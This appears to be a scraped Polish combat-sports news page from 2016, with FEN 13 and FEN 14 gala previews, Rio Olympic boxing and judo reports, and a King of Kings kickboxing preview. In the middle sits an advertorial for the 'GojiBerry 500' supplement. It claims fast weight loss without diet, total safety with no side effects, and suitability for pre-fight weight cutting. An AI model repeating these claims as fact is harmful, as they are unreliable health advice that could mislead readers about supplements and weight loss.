O godz. 20 wystartuje relacja na żywo w Polsat Sport, który pokaże ceremonię oficjalnego otwarcia gali, wszystkie walki karty głównej oraz walkę wieczoru.

Widzowie otwartego Polsatu transmisję z gali FEN 13 Summer Edition będa mogli oglądać od godz. 22. W głównym kanale telewizji Polsat pokazane zostaną dwie ostatnie walki karty głównej oraz walka wieczoru.

Transmitowane na żywo będą również czwartkowy media trening (godz. 16, Centrum Riviera w Gdyni) oraz piątkowa ceremonia ważenia zawodników (godz. 14, Unique Club & Lounge w Sopocie). Internetową relację live z obu wydarzeń przeprowadzi platforma Fightime.pl i będzie ją można śledzić na stronie fen-mma.com/fen-13-live.

FEN

Jabłoński pożegnał się z igrzyskami

Nasz bokser przegrał już w pierwszej rundzie zmagań z Danielem Lewisem. Wcześniej z turniejem olimpijskim pożegnał się Igor Jakubowski.

Nasi pięściarze wiązali duże nadzieje ze startem w Rio de Janeiro. Rok temu w bułgarskim Samokowie obaj sięgnęli po srebrne medale mistrzostw Europy w swoich kategoriach wagowych. Po odpadnięciu Jakubowskiego, wszyscy trzymali kciuki za start Tomasza Jabłońskiego. 27-latek pojedynek w kategorii 75kg przegrał niejednogłośnie na punkty.

Myślał o medalu

Po losowaniu Jabłoński mógł być zadowolony. Trafił na 22-letniego Australijczyka, który na swoim koncie nie miał większych sukcesów. Podczas występów na mistrzostwach świata odpadał w pierwszych rundach. Dokonania Jabłońskiego były zdecydowanie większe. Jednak przewagę trzeba było potwierdzić w ringu.

27-letni Jabłoński dobrze rozpoczął rywalizację. Narzucił swoje tempo, jednak nie potrafił zdominować rywala. W pierwszej rundzie Polak był aktywniejszy od przeciwnika i wykonał pierwszy krok do zwycięstwa. Lewis był nieustępliwy, bił długimi sierpami, Jabłoński starał się go spychać do obrony. Druga runda zacięta, więc wszystko miało rozstrzygnąć się w trzeciej odsłonie. Polak spychał rywala do obrony, jednak nie dało mu to zwycięstwo. Sędziowie nie byli jednomyślni i punktowali 28:29, 29:28, 28:29 na korzyść Lewisa.

Tak naprawdę zwycięstwo mogło być po stronie polskiego pięściarza. Rywal był w zasięgu możliwości Jabłońskiego, jednak sędziowie wskazali na Australijczyka. Można mówić o pechu. Warto pamiętać, że 27-letni Polak debiutował na Igrzyskach Olimpijskich. Z pewnością towarzyszyła mu trema, która potęgowała stres. Jabłoński był nieustępliwy i nie ułatwił zadania rywalowi, ale w ostatecznym rozrachunku szczęście dopisało Lewisowi. Polak mierzył w medal, jednak swoje plany musi odłożyć. Być może spróbuje je zrealizować za cztery lata.

Wcześniej z rywalizacją w Rio de Janeiro pożegnał się Igor Jakubowski. Pięściarz wagi ciężkiej przegrał z Lawrencem Okolie. 

Trzeba poczekać

Czas biegnie nieubłaganie, a nam pozostaje żyć wspomnieniami. Mocno ściskaliśmy kciuki i wierzyliśmy w powodzenie Igora Jakubowskiego oraz Tomasza Jabłońskiego. Niestety, nie udało się. Marzenia o medalu olimpijskim w boksie trzeba odłożyć.

Wojciech Bartnik pozostaje ostatnim pięściarzem, któremu dane było stanąć na olimpijskim podium. To już 24 lata… Bartnik w Barcelonie sięgnął po brązowy medal.

KM

Ćwierćfinał igrzysk nie dla Kłys

Polka rywalizująca w kategorii 70kg przegrała w 1/8 finału z Hiszpanką Marie Bernabeu. Walka o zwycięstwo toczyła się do samego końca. W ostatnich sekundach Katarzyna Kłys otrzymała karę shido.

Niewielkim pocieszeniem dla 30-letniej judoczki jest fakt, że poprawiła wynik osiągnięty podczas igrzysk w Londynie. Tam stoczyła zaledwie jedną walkę. W Rio przeszła 1/16 finału, jednak w 1/8 lepsza okazała się Hiszpanka. 

Przegrała z wicemistrzynią świata

Marie Bernabeu to mocna zawodniczka. W światowym rankingu zajmuje ósme miejsce. 28-letnia reprezentantka Hiszpanii w ubiegłym roku osiągnęła największy sukces w karierze w postaci wicemistrzostwa świata. W tegorocznych startach wyróżniła się w Baku, gdzie zwyciężyła zawody Grand Slam. Wiadomo było, że Katarzynę Kłys czeka trudne zadanie.

Od początku rywalizacji w 1/8 finału Bernabeu, dla której była to pierwsza walka w Rio imponowała aktywnością. 28-latka szukała sposobu na Kłys, jednak Polka skutecznie się broniła. Hiszpanka przenosiła walkę do parteru i kolejnymi chwytami starała się przeprowadzić decydującą akcję. Kłys zaimponowała wytrzymałością i wydawało się, że do rozstrzygnięcia potrzebny będzie dodatkowy czas. W samej końcówce 30-latka otrzymała karę shido za pasywność.

""

W pierwszym pojedynku judoczka Polonii Rybnik rywalizowała z reprezentantką Uzbekistanu Gulnozą Matniyazovą. Starcie zacięte, jednak żadna z zawodniczek nie potrafiła przechylić szali zwycięstwa na swoją korzyść. W regulaminowym czasie obie otrzymały po jednej karze shido. Dogrywka potoczyła się po myśli Kłys. Matniyazova otrzymała kolejną karę shido, co dało zwycięstwo Polce.

Pogromczyni polskiej judoczki poległa w ćwierćfinale, Maria Bernabeu nie dała rady Yuri Alvear. Kolumbijka rozstawiona z numerem 1 po upływie niespełna dwóch minut podcięła Hiszpankę i rzuciła ją na plecy. Alvear wykonała kompletną akcję i triumfowała przez ippon. 

Porażka liderki

Wpadkę w 1/8 zaliczyła liderka światowych list w 70kg Kim Polling. Holenderka nie ma na swoim koncie olimpijskiego medalu i porażka bardzo skomplikowała jej drogę do osiągnięcia sukcesu w Rio. Zwyciężczyni tegorocznego turnieju Masters przegrała z Japonką Haruką Tachimoto. 

KM

Mocne uderzenie letnią porą

Miłośnicy sportów walki czekają na widowiskowe walki i efektowne akcje zawodników. Czy gala FEN 13 Summer Edition spełni ich oczekiwania? Patrząc na kartę walk robi się naprawdę gorąco.

Organizacja Fight Ecxlusive Night stawia na jakość i ilość. 13 sierpnia w hali Gdynia Arena odbędzie się aż trzynaście walk, z czego osiem w karcie głównej.

Powrót Hallmana

Walka wieczoru FEN 13 zapowiada się niezwykle emocjonująco. Po wielu doświadczeniach do Polski wraca Piotr Hallmann. 28-latek będzie walczył w mieście, w którym się urodził. Hallmann ma w CV sześć pojedynków w UFC, jednak tylko dwa skończyły się jego triumfem. Ostatnio zaprezentował się na gali Slava Republic 1, gdzie decyzją sędziów pokonał Jasona Poneta. Przygoda Hallmana z UFC dobiegła końca, a w kierunku amerykańskiej organizacji spogląda jego najbliższy rywal, czyli Kamil Łebkowski. Bez wątpienia ma powody ku temu. 28-letni fighter jest niepokonany od ponad trzech lat. Wygrał dziewięć kolejnych walk, w tym aż sześć przed czasem! Pojedynek wieczoru w wadze piórkowej zapowiada się interesująco.

W wadze ciężkiej spotkają się Michał Wlazło i Marcin Gułaś. 33-letni były mistrz Europy K-1 UPKA zbiera teraz doświadczenie w MMA. Po raz drugi stoczy pojedynek dla organizacji FEN i z pewnością będzie chciał zaprezentować się lepiej niż w debiucie. Wtedy w drugiej rundzie odprawił go Dawid Mora. Z kolei 32-letni Gułaś będzie debiutował na gali FEN. Zawodnik ma na swoim koncie sześć zwycięstw, zanotował pięć porażek.

Na fali FEN 13 Summer Edition nie zabraknie pojedynków K-1. Zaprezentują się zawodnicy, którzy odnosili sukcesy na krajowym i międzynarodowym poziomie. Doświadczona Kamila Bałanda zmierzy się z Różą Gumienną, która zdążyła już poznać smak rywalizacji na galach FEN. Jarosław Daschke na FEN 4 rozprawił się z Łukaszem Gawlikiem. Teraz poszuka sposobu na zwycięstwo w starciu z Marcinem Stopką, który odnosił sukcesy w K-1 na mistrzostwach Czech.

Arkadiusz Wrzosek w kategorii +93 na gali FEN 11 stoczył zacięty pojedynek z Nikołajem Falinem. Do rozstrzygnięcia potrzebna była dogrywka. Sędziowie przyznali, choć niejednogłośnie zwycięstwo Falinowi. Na FEN 13 rywalem Wrzoska będzie Kryspin Kalski, który ma za sobą przygodę z koszykówką. 27-latek postawił jednak na kickboxing. W marcu zaprezentował się na gali King of Kings w Wilnie, gdzie przegrał z Sergeiem Maslabojevem. W 98kg zobaczymy starcie Artura Bizewskiego z Marcinem Szrederem. Z kolei w wadze piórkowej w MMA zmierzą się Bartłomiej Kopera i Nikodem Szymański, którzy osiągali sukcesy w amatorskich mistrzostwach Polski.

Znają się dobrze

Marian Ziółkowski i Jacek Kreft spotkają się po raz trzeci, ale po raz pierwszy na gali FEN. Ten, kto wygra wysunie się na prowadzenie. Wcześniejsze walki tych panów kończyły się przed czasem.

26-letni Ziółkowski na gali FEN 11 stoczył morderczy bój z Romanem Szymańskim o pas organizacji w wadze lekkiej. Pięć wyczerpujących rund, jednak to rywal „Golden Boya” cieszył się z triumfu. Kreft zaliczy debiut w organizacji. Spotkanie starych znajomych może rozgrzać publiczność do czerwoności.

W karcie wstępnej znajdują się następujące walki: Karol Trzebiatowski-Paweł Kordylewicz (MMA, 80kg), Jakub Rajewski-Karol Kruzel (K-1, 70kg), Aleksander Georgas-Robert Rajewski Jr (MMA, 66kg), Kamil Gniadek-Klemens Ewald (MMA, 77kg) i Ireneusz Szydłowski-Bartosz Chyrek (MMA, 77kg). 

Telewizja FighTime jest oficjalnym partnerem medialnym federacji Fight Exclusive Night.

KM

FEN 14 już 15 października w katowickim Spodku!

FEN 14, piąta już w tym roku gala organizacji Fight Exclusive Night, odbędzie się 15 października w słynnym Spodku w Katowicach. Będzie to pierwsze wydarzenie tej federacji na południu Polski. „Chcemy, aby gala FEN 14 była kolejną zorganizowaną w tej hali wielką imprezą sportową, którą kibice będą wspominać przez długie lata” – mówi prezes FEN Paweł Jóźwiak.

Spodek, architektoniczna ikona Katowic, to jeden z najważniejszych obiektów tego typu w Polsce. Ze względu na swoje rozmiary i warunki techniczne regularnie jest areną największych zawodów sportowych. W swojej 45-letniej historii wielokrotnie gościł wydarzenia najwyższej rangi, także w sportach walki – kibice oglądali tu m.in. mistrzostwa Europy w boksie, zapasach i karate kyokushin oraz zapaśnicze mistrzostwa świata.

Po przeprowadzonej niedawno kompleksowej modernizacji katowicki „latający talerz” jest dziś miejscem idealnie przystosowanym do organizacji wielkich, spektakularnych imprez, które z trybun może teraz oglądać nawet 11 tysięcy kibiców.

„FEN 14 w Spodku to nasza odpowiedź na wielkie zapotrzebowanie kibiców w te części kraju na profesjonalne, stojące na najwyższym poziomie sportowym i widowiskowe gale sportów walki – mówi prezes Paweł Jóźwiak. – Dlatego fight card katowickiej gali będzie bardzo mocny. Wśród walczących tego wieczora zawodników nie zabraknie największych gwiazd naszej organizacji, w tym posiadaczy pasów mistrzowskich FEN, a także znakomitych fighterów z zagranicy”.

W klatkoringu Fight Exclusive Night wystąpi oprócz nich wielu świetnych, utytułowanych wojowników MMA i K-1 reprezentujących kluby z Górnego i Dolnego Śląska, Małopolski, Opolszczyzny i Podkarpacia, które zaliczane są do najsilniejszych w Polsce.

„Nazwiska pierwszych uczestników gali FEN 14 podamy już 13 sierpnia podczas gali FEN 13 Summer Edition w Gdynia Arena – zapowiada prezes FEN. – Wkrótce ruszy także sprzedaż biletów, które kibice będą mogli w przedsprzedaży kupić w specjalnej, promocyjnej cenie”.

FEN

Porażka Podolak w Rio

Arleta Podolak (57kg) zakończyła zmagania w Igrzyskach Olimpijskich w Rio de Janeiro. W 1/16 turnieju Polkę wyeliminowała Chen-ling Lien z Tajwanu. 

22-letnia zawodniczka startowała jako pierwsza z naszych reprezentantów. W Rio zobaczymy jeszcze: Katarzynę Kłys (70kg), Darię Pogorzelec (78kg) i Macieja Sarnackiego (+100kg).

Debiut olimpijski 

Judoczka Czarnych Bytom do ostatnich chwil walczyła o uzyskanie kwalifikacji olimpijskiej. W tym roku Podolak notowała dobre starty, co zaowocowało skokiem w światowym rankingu. Nasza judoczka wygrała zawody Grand Prix w Ałmatach i Pucharu Europy w Warszawie. Obecnie 22-letnia Polka zajmuje 21. miejsce.

Przez długi czas Rio wydawało się odległe dla Podolak. Z każdej wagi na Igrzyska Olimpijskie bezpośredni awans uzyskiwało czternaście zawodniczek, jednak po jednej z danego kraju. Była też jeszcze jedna furtka umożliwiająca start w Brazylii. Przepustką dla Podolak okazała się lista europejska. Nasza zawodniczka jechała do Rio z nadziejami, bo już nie raz pokazała ogromną wolę walki.

Losowanie nie poszło po myśli 22-letniej judoczki. Chen-Ling Lien zajmuje w rankingu światowym trzynastą pozycję. Z jednej strony była w zasięgu Podolak, a z drugiej Tajwanka ma większy bagaż doświadczeń. Wszystko miało rozstrzygnąć się na tatami. Podolak walczyła ambitnie, jednak to Lien znalazła sposób na zwycięstwo. Rywalka od początku naciskała na judoczkę Czarnych Bytom, jednak ta skutecznie się broniła. Podolak szukała swojej szansy, ale bez efekty. O wyniku miała rozstrzygnąć dogrywka, w której reprezentantka Tajwanu triumfowała przez ippon.  

Rumunka zatrzymała Lien

W 1/8 finału Lien spotkała się z Amerykanką Marti Malloy. Tajwanka wygrała, choć pojedynek był zacięty. Malloy zapisała na swoim koncie dwie kary shido. W ćwierćfinale Lien spotkała się z Coriną Caprioriu, która cztery lata temu w Londynie wywalczyła srebrny medal. Rumunka wygrała po ippon i zmierza na podium.

Z kolei Lien powalczy jeszcze w repasażach.

FEN 13 Summer Edition: media trening i ceremonia ważenia

Do gali FEN 13 Summer Edition jeszcze 5 dni, ale przedsmak wielkich emocji czekających kibiców w sobotę w Gdynia Arena będzie można poczuć już na poprzedzających ją wydarzeniach: czwartkowym media treningu oraz piątkowej ceremonii ważenia zawodników. Transmisję na żywo z obu eventów przeprowadzi Fightime.pl.

Na czwartkowy media trening zapraszamy do Centrum Handlowego „Riviera” przy ul. Kazimierza Górskiego 2 w Gdyni, położonego w odległości zaledwie kilkuset metrów od Gdynia Arena, w której odbędzie się gala FEN 13 Summer Edition. Weźmie w nim udział dziesięciu z 26 uczestników tych zawodów. Zawodników walczących w formule MMA reprezentować będą bohaterowie walki wieczoru, czyli Piotr Hallmann i Kamil Łebkowski, a także Michał Wlazło, Jacek Kreft i Marian Ziółkowski. Natomiast spośród wojowników K-1, którzy będziemy podziwiać w akcji na sobotniej gali, próbkę swoich umiejętności zaprezentują Róża Gumienna, Arkadiusz Wrzosek, Kryspin Kalski, Artur Bizewski i Marcin Szreder. Początek media treningu o godz. 16.

Oficjalne ważenie, już z udziałem wszystkich zawodników, którzy wystąpią w sobotę w klatkoringu Fight Exclusive Night,  odbędzie się w piątek w Unique Club & Lounge przy Placu Zdrojowym 1 w Sopocie, czyli jednym z najbardziej prestiżowych miejsc na klubowej mapie Trójmiasta. Ceremonia ważenia rozpocznie się o godz. 14.

Wstęp na oba wydarzenia jest wolny, zarówno dla publiczności, jak i przedstawicieli mediów. Kibiców oraz dziennikarzy, którzy nie będą mogli przybyć na media trening lub ceremonię ważenia, zapraszamy do oglądania transmisji na żywo – relację online z obu eventów przeprowadzi platforma Fightime.pl.

""  ""

FEN

Jakubowski poza turniejem, Jabłoński czeka

Do Rio de Janeiro pojechało dwóch naszych bokserów. Jako pierwszy do rywalizacji stanął Igor Jakubowski, z którego występem wiązano duże nadzieje. Niestety, zawodnik startujący w wadze ciężkiej odpadł już w pierwszej rundzie.

Warto wspomnieć, że na liście startowej turnieju 91kg pojawiło się osiemnastu bokserów. Jakubowski znalazł się wśród czterech zawodników, którzy zmagania rozpoczęli w 1/16. Pozostali mieli wolny los.

Wyrównany bój

Igor Jakubowski określany był jako ten, który może przełamać impas w występach polskich bokserów w Igrzyskach Olimpijskich w wadze ciężkiej. Na medal w kategorii królewskiej czekamy od 1988 roku, kiedy to w Seulu po brąz sięgnął Andrzej Gołota. 24-letni Jakubowski w ostatnim czasie zrobił postępy. W ubiegłym roku sięgnął po wicemistrzostwo Europy, więc w Rio miał powalczyć o kolejny sukces.

Na otwarcie olimpijskiej przygody Polak spotkał się z Lawrencem Okolie. Co ciekawe, jeszcze cztery lata temu Brytyjczyk zarabiał na życie pracując w restauracji McDonalds. Po marzenia trzeba sięgać, a ciężka praca wydaje owoce. Takie historie wzmacniają wolę walki u niektórych adeptów boksu. Jednak w tym przypadku nasze serca były zdecydowanie po stronie Jakubowskiego.

Polski pięściarz nie najlepiej zaczął starcie. Od początku pierwszej rundy Okolie zdecydowanie ruszył na 24-latka i zasypywał go ciosami. Jakubowski skupił się na defensywie. Pierwsza runda na korzyść Brytyjczyka, który rozkręcał się coraz bardziej. Dwa mocne prawe w drugiej odsłonie zachwiały Jakubowskim i ten znalazł się na deskach. Kolejna runda na korzyść Okolie. W trzeciej odsłonie Jakubowski zrobił wszystko, co w jego mocy, aby przechylić zwycięstwo na swoją stronę. Nie oszczędzał rywala, był aktywny, ale nie zdołał znaleźć sposobu na Brytyjczyka. Okolie wygrał na punkty – 29:28.

Czas na drugiego

Drugi z naszych reprezentantów, Tomasz Jabłoński wejdzie do ringu we wtorek (9 sierpnia). Losowanie ułożyło się po myśli polskiego boksera, który uchodzi za faworyta starcia z Danielem Lewisem.

22-letni Australijczyk nie ma na swoim koncie większych sukcesów. W ubiegłym roku Lewis zaprezentował się na mistrzostwach świata w Katarze, jednak rywalizacja szybko się dla niego skończyła. Już w pierwszej rundzie odprawił go Michael O'Reilly. Lewis startował również na czempionacie w 2013 roku. Stoczył tam tylko jedną walkę.

Doświadczenie Jabłońskiego jest zdecydowanie większe. Polak w 2015 roku sięgnął w Samokowie po wicemistrzostwo Europy. Zatem 27-latek urodzony w Gdyni jest bokserem, który osiągnął znacznie wyższy poziom niż rywal. Polak powinien zyskać przepustkę do kolejnej rundy, gdzie czeka już Bektemir Melukuziew. Reprezentant Uzbekistanu to wicemistrz świata. Jak widać, schody zaczną się w 1/8, jednak nie ma co wybiegać w przyszłość. Najpierw spokojnie trzeba przejść 1/16 olimpijskich zmagań.

Fot. pixabay.com

KM

Judocy odliczają godziny do startu

Ceremonia otwarcia XXXI Letnich Igrzysk Olimpijskich za nami. Święto sportu trwa w najlepsze, a kibice mogą emocjonować się walką o medale. Na tatami pojawili się już judocy. Jednak na biało-czerwonych musimy jeszcze trochę poczekać. Jako pierwsza z naszych wystąpi Arleta Podolak, której start zaplanowano na poniedziałek (8 sierpnia).

Judocy nie muszą czekać. Pierwszego dnia na tatami walczą kobiety w kategorii 48kg i mężczyźni w 60kg. Koniec rywalizacji w judo przewidziano na 12 sierpnia. W zmaganiach o medale Igrzysk Olimpijskich zaprezentuje się czworo Polaków.

Rywale biało-czerwonych

Zawodnicy startujący w kolejnych dniach mają szansę poznać charakterystykę swoich rywali i przygotować się do walk. Z pewnością odliczają godziny do występu, które dłużą się. Liczymy, że w końcu biało-czerwonym uda się przełamać niemoc w startach na igrzyskach. Po raz ostatni w judo medal wywalczyliśmy dwadzieścia lat temu w Atlancie.

Arleta Podolak trafiła na Chen-ling Lien z Tajwanu. 28-latka zajmuje 13. miejsce w światowym rankingu, czyli jest o osiem pozycji wyżej niż Polka. Nie ma na swoim koncie medali mistrzostw świata, a występ w Rio de Janeiro będzie jej olimpijskim debiutem. W tym roku 28-latka zajęła drugie miejsce w Pucharze Europy w Rzymie i trzecie w Grand Prix w Dusseldorfie. Wywalczyła również brązowy medal w mistrzostwach Azji. Lien nie będzie łatwą rywalką dla Arlety Podolak.

Piętnasta w światowym rankingu Katarzyna Kłys (70kg) występ w Rio zaliczy w środę (10 sierpnia). Jej rywalką będzie Gulnoza Matniyazova z Uzbekistanu. 22-letnią judoczkę można było zobaczyć w lutym w Warszawie. W Pucharze Europy zajęła 5. lokatę. Mistrzostwa Azji zakończyła z brązem na szyi, trzecia była również w czerwcu w Grand Prix w Budapeszcie. 

W czwartek przyjdzie czas na Darię Pogorzelec (78kg). Polka spotka się z Hortence Vanessą Mballa Atangana. Zawodniczka z Kamerunu to tegoroczna mistrzyni Afryki. W Rio zaliczy debiut olimpijski, z kolei Pogorzelec będzie chciała poprawić siódmą lokatę z Londynu.

Jedynym panem w naszej kadrze jest Maciej Sarnacki (+100kg). Rywalem Polaka będzie Thormodur Jonsson, który jest ponad czterdzieści pozycji niżej w światowym rankingu od judoki z Olszyna. 33-letni Islandczyk nigdy nie wygrał międzynarodowego startu. Największym sukcesem Jonssona jest wywalczenie srebrnego medalu w Pucharze Świata w Apii w 2011 roku.

Baku i Tokio szczęśliwe

W cieniu rywalizacji olimpijskiej Międzynarodowa Federacja Judo ujawniła, gdzie odbędą się kolejne imprezy mistrzowskie. Światowy czempionat w 2018 roku zawita do Baku, a rok później do Tokio. 

Warto wspomnieć, że w 2017 roku mistrzostwa świata odbędą się w Budapeszcie. Z kolei w przyszłym roku Warszawa będzie gościła najlepszych zawodników Starego Kontynentu.

KM

Zbijanie wagi przed walką z GojiBerry 500

Jagody Goji to egzotyczne owoce, które ze względu na ogromną ilość antyoksydantów, mają bardzo korzystne działanie na organizm ludzki. Przede wszystkim, wspomagają metabolizm, regulują pracę serca i wyrównują poziom cukru oraz cholesterolu, dzięki czemu są mocnym sprzymierzeńcem w dziedzinie redukcji wagi. Nazywane są one czerwonymi diamentami Wschodu. Owoce te to ogrom wielu cennych składników odżywczych, niska kaloryczność oraz duże ilości błonnika

Zyskaj na czasie ! Szybkie zbijanie wagi z GojiBerry 500

GojiBerry 500 to rewolucja na rynku preparatów i suplementów diety. Jego skład to przede wszystkim ekstrakt z jagód goji i inne naturalne składniki. Dzięki temu, tabletki wspomagają odchudzanie i pomaga zredukować wagę znacznie szybciej niż w wypadku braku jego stosowania.

GojiBerry 500 należy przyjmować regularnie przez około 3 miesiące. Nie powinno się przerywać kuracji, ponieważ może się to przełożyć na efekt jojo. Zaleca się stosowanie diety i ćwiczeń, aby przyśpieszyć efekty odchudzania, ale i bez tego redukcja wagi jest możliwa, co jest świetnym rozwiązaniem dla osób zapracowanych czy leniwych.

""

Preparat, dzięki ogromnej ilości przeciwutleniaczy nie tylko reguluję pracę układu trawiennego, ale także poprawia stan skóry i zapobiega przedwczesnemu jej starzeniu.

GojiBerry 500 zapewnia efektywne zrzucenie kg przed walką 

Co więcej, tabletki zawierające ekstrakt z czerwonych jagód Goji korzystnie wpływa na nastrój, witalność oraz poziom energii. GojiBerry 500 zawiera cynk, żelazo, fosfor, selen oraz wapń oraz witaminy: B1, B2, B6, E i C. Preparat zawiera, również, nienasycone kwasy tłuszczowe, jak linolowy czy omega 6 oraz witaminę C, która wzmocni odporność organizmu!

Warto też powiedzieć, że preparat został przetestowany i dopuszczony do sprzedaży na terenie naszego kraju. Jego stosowanie jest zupełnie bezpiecznie i nie powoduje żadnych skutków ubocznych. Nie zaleca się przyjmowania tabletek w wypadku kobiet w ciąży, matek karmiących i dzieci do lat 3.

Z GojiBerry 500 zyskujesz czas i energię przed Walką 

GojiBerry 500 to doskonały sposób na zrzucenie zbędnych kilogramów i pozbycie się cellulitu w krótkim czasie. Wydobądź ukryte piękno i spełnij marzenia o idealnej sylwetce. Popraw kondycję skóry, zapobiegaj jej starzenie, popraw własne samopoczucie i zwiększ poziom energii. Tak wiele, za tak niewiele. Cena kuracji GojiBerry 500 nie jest wygórowana, dzięki czemu, każdy może sobie na nią pozwolić.

Preparat ten, w przeciwieństwie do innych kuracji odchudzających dostępnych na naszym rynku, faktycznie przynosi rezultaty. Warto jeszcze wspomnieć, że odchudzanie to proces indywidualny i zależny od diety, ćwiczeń i przyjmowanych leków. Jagody Goji to egzotyczne owoce, które ze względu na ogromną ilość antyoksydantów, mają bardzo korzystne działanie na organizm ludzki.

Więcej opinii na temat GojiBerry 500 przeczytaj na:
http://www.warto-kupic.pl/jagody-gojiberry-500/

LIVE: FEN 13 Summer Edition – Trening medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 13 Summer Ediotion.

[kod]

FEN 14 Silesian Rage

FEN 14 Silesian Rage

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN14SilesianRage.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN14SilesianRage.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN14SilesianRage.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN14SilesianRage.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 13 Summer Edition – Ceremonia ważenia

Zapraszamy na transmisję telewizyjną na żywo z ceremonii ważenia przed galą FEN 13 Summer Ediotion.

[kod]

FEN 13 Summer Edition

FEN 13 Summer Edition

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN13SummerEdition.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN13SummerEdition.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN13SummerEdition.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN13SummerEdition.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Kolejna gala KOK z Polakami

Przy okazji kolejnych gal organizacja King of Kings nie zapomina o polskich kickboxerach. Biało-czerwoni wyróżniają się i dostają kolejne szanse. W Tallinie, gdzie KOK zawita 17 września pojawią się Klaudia Pawicka i Łukasz Łęczycki.

Planując kalendarz włodarze King of Kings uwzględnili przerwę wakacyjną. Jednak czas szybko mija i na horyzoncie widać już kolejną galę. Warto wspomnieć, że pierwszy event odbył się 27 lutego w Rydze, gdzie wystąpiło dwóch Polaków. Zakończenie sezonu KOK wypada 10 grudnia w Warszawie. 

Wrócić na właściwą drogę

Dla Klaudii Pawickiej i Łukasza Łęczyckiego uczestnictwo w galach KOK to nie nowość. Mieli okazję prezentować się już na ringach organizacji. Jak wyglądają ich ostatnie doświadczenia?

Zacznijmy od Pawickiej. Zawodniczka GMTG Warszawa ma w pamięci pojedynek z Nadejdą Kantsir podczas gali w Kiszynowie. Dobrych wspomnień z rywalizacji z Mołdawianką nie ma, gdyż rywalka była zdecydowanie lepsza. Pawicka nie grzeszyła aktywnością i w efekcie przegrała. Decyzją sędziów Kantsir wygrała 3:0. 

Po rywalizacji na KOK Polka stanęła przed ogromną szansą na zdobycie pasa mistrzowskiego w kategorii muszej na gali Shoot Boxingu Girls S-Cup 2016. Pawicka spotkała się z prawdziwą gwiazdą –  Reną Kubotą. Japonka to niezwykle dynamiczna i skuteczna fighterka, a więcej na Polkę czekało niezwykle trudne zadanie. Od początku Kubota narzuciła swój styl i zyskiwała przewagę. W drugiej rundzie zawodniczka GMTG była liczona po raz pierwszy. Z czasem dominacja Japonki rosła, a Pawicka przyjmowała kolejne ciosy. Po drugim liczeniu w trzeciej rundzie narożnik Polki rzucił ręcznik.

Można powiedzieć, że Pawicka ma za sobą słaby okres, jednak niech nikogo to nie zmyli. Polka ma ogromne serce do sportów walki. Rywalizowała już w MMA, odnosiła sukcesy w sanda i boksie tajmskich, a także w K-1. Teraz będzie miała szansę odrodzić się w Tallinie, gdzie spotka się z Andrą Aho. Estonka ma złe wspomnienia z rywalizacji w stolicy swojego kraju. W październiku ubiegłego roku podczas KOK World GP przegrała decyzją sędziów z Judytą Niepogodą. Zatem Pawicka i Aho są zdeterminowane, aby powrócić na zwycięską ścieżkę. Z tego powodu można spodziewać się interesującego starcia.

Turniej czeka na Polaka

Łukasz Łęczycki weźmie udział w turnieju w kategorii 65kg. Dla Polaka będzie to już kolejny występ na gali organizacji Kings of King w tym roku. Na inaugurację sezonu Łęczycki zaprezentował się w Rydze, gdzie na punkty pokonał Raimonda Kazlovskiego.

Teraz poprzeczka została zawieszona wyżej. Polak zmierzy się z utalentowanym Marko Moisarem, który jest ulubieńcem estońskiej publiczności. Blisko rok temu niespełna 24-letni zawodnik pokonał w Tallinie Krzysztofa Olszewskiego. 

Drugą parę turniejową stworzą Devydas Danya i Mansour Yaqubi. W Tallinie dojdzie do pojedynku o pas w wadze 77kg pomiędzy Sergiem Morari, a Romanem Zobinem. 

KM

Do Rio po medale

Najważniejsza impreza czterolecia przed nami. Przez ponad dwa tygodnie będziemy się emocjonować sportową rywalizacją w Igrzyskach Olimpijskich w Rio de Janeiro. W Brazylii nie zabraknie naszych reprezentantów specjalizujących się w sportach walki.

Liczymy, że Polacy poprawią wynik z Londynu, gdzie zdobyli dziesięć medali. W Rio wystartuje ponad 240 biało-czerwonych. W tym gronie nie zabraknie judoków, zapaśników, bokserów oraz taekwondzistów.

Kto jedzie do Rio?

Sporty walki najliczniej będą reprezentowane przez zapasy, gdzie uzyskaliśmy osiem kwalifikacji olimpijskich. Do końca ważyły się losy Magomedmurada Gadżijewa, u którego wykryto śladowe ilości meldonium. Polski Związek Zapaśniczy podjął walkę, gdyż sprawa budziła wiele wątpliwości i całe postępowanie zakończyło się sukcesem. 28-letni mistrz Europy w stylu wolnym w kategorii 70kg z Rygi pojedzie do Rio. O medale w Brazylii powalczą również: Zbigniew Baranowski (86kg), Radosław Baran (97kg) i Robert Baran (125kg). Wszyscy zaprezentują się w stylu wolnym.

Agnieszka Wieszczek-Kordus zna smak olimpijskiego medalu. Stanęła na trzecim stopniu podium w Pekinie. 33-latka startująca w 69kg w kwietniu w Zrenjaninie wywalczyła awans do Rio i jedzie z nadziejami na kolejny sukces. Monika Michalik zaprezentuje się w kategorii 63kg. Dotychczas na igrzyskach występowała dwukrotnie. W Pekinie była ósma, cztery lata później 36-latkę sklasyfikowano na miejscach 5-6, a więc teraz powinno być podium. Michalik to doświadczona zapaśniczka, która sięgała po medale mistrzostw świata. Trzykrotnie wywalczyła tytuł mistrzyni Europy. W Rio zobaczymy także Iwonę Matkowską (48kg) oraz Katarzynę Krawczyk (53kg). Przepustki olimpijskiej nie wywalczył żaden z naszych reprezentantów w stylu klasycznym.

